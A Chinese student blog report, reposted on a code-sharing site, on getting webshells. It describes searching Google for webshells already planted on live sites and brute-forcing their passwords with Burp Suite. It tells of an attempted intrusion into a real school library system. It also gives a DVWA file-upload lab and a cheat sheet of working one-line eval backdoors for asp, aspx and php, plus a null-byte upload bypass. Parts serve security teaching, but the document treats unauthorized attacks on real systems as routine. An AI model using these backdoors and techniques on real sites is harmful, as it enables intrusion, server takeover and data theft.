码迷,mamicode.com
首页 > Web开发 > 详细

免考——webshell

时间:2019-06-14 21:58:42      阅读:203      评论:0      收藏:0      [点我收藏+]

标签:账号   改善   alt   数据库表   学校   执行命令   安装php   ali   eval   

免考——webshell

一、webshell概念

webshell就是用来管理服务器的一个工具,以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,拥有对服务器进行操作的权限,又被称作webadmin。Webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途。

但是由于web shell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),所以经常会被黑客加以利用,通过一些上传缺陷,将自己编写的web shell上传到web服务器的页面的目录下,然后通过页面访问的形式进行渗透,或者通过插入 “一句话” 来进行渗透。

二、Webshell获取——CMS获取WebShell

1.webshell获取

主要利用搜索引擎来查找互联网上公开的通用漏洞,如果目标站点并没有进行修复,即可轻松获取WebShell。

例如:在Google中输入:“Copyright(C)2008 Bin -> WwW.RoOTkIt.NeT.Cn”进行查询。注意这里使用了双引号,是对指定的关键词进行搜索,否则出来的将是包含这些关键词的合集记录。
技术图片

技术图片

2.webshell密码破解

手动破解

  • 现在的webshell一般都要求输入一个密码用来保护Webshell不被他人使用,因而破解登录密码可以凭经验输入一些常见的密码进行测试,蒙对了也就进去了,不过。。。大多数情况都凉了。这里我先试了个“admin”,又试了个“UserPass”,再来些单字符字母,都失败了。

Burp Suite破解

1.考虑到kali中就包含BurpSuite,我们转移战场,直接在kali中打开之前找到的网址。
技术图片

2.firefox代理配置
技术图片

技术图片

3.破解字典下载

4.burpsuite捕包:把抓到的POST请求包发送到"入侵者"(intruder)中进行破解。注意我们输入密码进行验证本身就是一个表单的POST请求,要选择method为post的发送。
技术图片

技术图片

技术图片

技术图片

5.intruder:我们在position(位置)这个菜单页选择attack type(功能类型)为默认sniper即可。然后选中右边clear$按钮,去掉$符号。 再将password部分add$按钮进行添加。

6.payloads:进行密码字典的一些配置。我们点击LOAD导入下好的字典。
技术图片

7.之后开始请求-start attack,并静待扫描结果。
技术图片

这个真的太慢了,我找的字典大概是一万六千个词条,比对了一下午才比对了600多个,也没有找到可以的,不过原理我们有了,找到length返回值不同的,再比对一下状态,即可判断是否为正确密码,毕竟不是破一下就能成功的嘛。

同时在尝试中我发现,webshell的直接获取普遍都是用谷歌进行搜索,在百度等网站下此方法没什么效果。。。所以要FQ了。。。

对于webshell密码破解,除了burpsuite外还可以通过溯雪,速度会比burpsuite快一些,不过在查找怎么破解的时候,看到很多人提到成功率不是很高,同时因为本机kali中还有burpsuite,不用再下载安装,就没有对它进行尝试。

三、Webshell获取——非CMS获取WebShell

1.实际网站攻击(失败了)

最开始我是想要攻击实际网站,也尝试了许多例子,比如说学校的图书馆管理系统,在扫描网站的时候发现他的日志文件是可以查看的,所以想的思路是看看能不能通过日志文件找到管理员的登录密码,再进行直接上传webshell、获取webshell、服务器提权,登录服务器的操作。
技术图片

技术图片

不过貌似学校改善了他的系统(┬_┬),2017年还可以看到密码,2019年就已经没有了,而且密码也做了更改。
技术图片

这个也可以作为一种情况,要是能够获得密码,之后的操作就可以按部就班的完成了。

2.利用文件上传漏洞

文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知。

自己搭个环境

DVWA是一款渗透测试的演练系统,如果你需要入门,并且找不到合适的靶机,那用DVWA就是个不错的选择。(是的,我没找到合适的可以攻的网站)

安装PHP集成环境

  • 我这里用的是phpstudy 2016。安装起来比较容易,一直点下一步,看到如下的窗口说明你安装成功了。
    技术图片

安装DVWA

  • 安装DVWA
  • 把下载好的DWVA的压缩包,放在phpStudy\WWW中,然后解压DWVA的压缩包。
  • 配置DVWA链接数据库,将DVWA/confing下的config.inc.php.dist修改为 config.inc.php,把原来的db_password改为root(因为刚安装好的集成环境默认的MYSQL 链接用户名和密码为 root root)。
  • 浏览器访问 http://10.1.1.145/DVWA-master/index.php(本机ip)
  • 用默认账号/密码:admin/password进行登录
    技术图片

DVWA文件上传分析

DVWA有难度等级限制,默认设为impossible,记得对难度进行修改。
技术图片

技术图片

服务器核心代码LOW

<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // Can we move the file to the upload folder? 
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
        // No 
        echo '<pre>Your image was not uploaded.</pre>'; 
    } 
    else { 
        // Yes! 
        echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
    } 
} 

?> 

可以看到,服务器对上传文件的类型、内容没有做任何的检查、限制,无论是php、asp、jpg、png都是可以传的,存在明显的文件上传漏洞,同时上传成功时还会返回target_path,而我们后续菜刀运用恰好需要一句话木马的地址。

接下来我们实际操作理解一下:

  • 编写一句话木马
<?php
@eval($_POST['hack'])
?>
  • 存为php文件,上传一句话木马,记下地址
    技术图片

  • 利用菜刀工具添加地址,以及连接密码,双击进行连接
    技术图片

  • 可以看到文件内容啦,换到实际操作中,这就相当于你侵入了浏览器的后台,之后是要下载文件还是上传文件就是你的自由啦。
    技术图片

服务器核心代码Medium

<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // File information 
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 

    // Is it an image? 
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && 
        ( $uploaded_size < 100000 ) ) { 

        // Can we move the file to the upload folder? 
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
            // No 
            echo '<pre>Your image was not uploaded.</pre>'; 
        } 
        else { 
            // Yes! 
            echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
        } 
    } 
    else { 
        // Invalid file 
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
    } 
} 

?> 

可以看到,Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB)。

我们实践操作一下,php就不可以上传了

因为我们用的一句话木马大小仅为1kb,所以主要是文件类型的检查,尝试修改文件名为hack.png。

三、一句话后门利用及操作

一句话后门是Web渗透中用得最多的一个必备工具,实质就是通过执行SQL语句、添加或者更该字段内容等操作,在数据库表或者相应的字段插入一句话代码,通过中国菜刀、lake一句话后门客户端等工具进行连接,只需要知道上述代码被插入到的具体文件以及连接密码,即可进行webshell的一些操作。

执行中国菜刀

添加shell

连接一句话后门

执行文件操作

一句话后门整理

asp

<%eval request ("pass")%>

aspx

<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

php

<?php @eval($_POST['pass']);?>

eval就是执行命令的函数,$_POST[‘pass‘]就是接收的数据。eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。

我们可以直接将这些语句插入到网站上的某个asp/aspx/php文件上,或者直接创建一个新的文件,在里面写入这些语句,然后把文件上传到网站上即可。

设想假如一个网站有上传漏洞,对文件没有格式限制,那么我们将一句话木马文件上传上去后,打开chopper.exe,连接到文件的绝对路径上,右键点击文件管理,就可以获取整个网站的目录了。

  1. 00截断拿webshell

    原理:在上传文件的时候,你上传的文件可能被网站自动改成别的名字,这个时候你可以尝试抓取上传文件数据包,将文件名改为:xx.asp%00.jpg进行截断上传。

四、感悟

这次免考我最大的感想就是最难的就是找网站,比如说我想EWebEditor编辑器漏洞,但是首先就是要找到一个使用EWebEditor编辑器的网站,而这个都是通过查看网站中图片的地址,检查其路径或者地址中是否存在EWebEditor的字样,可是我找了好多个网站,都没发现,又不能对网站中图片属性进行搜索,就很难了。

免考——webshell

标签:账号   改善   alt   数据库表   学校   执行命令   安装php   ali   eval   

原文地址:https://www.cnblogs.com/KY-high/p/10990363.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!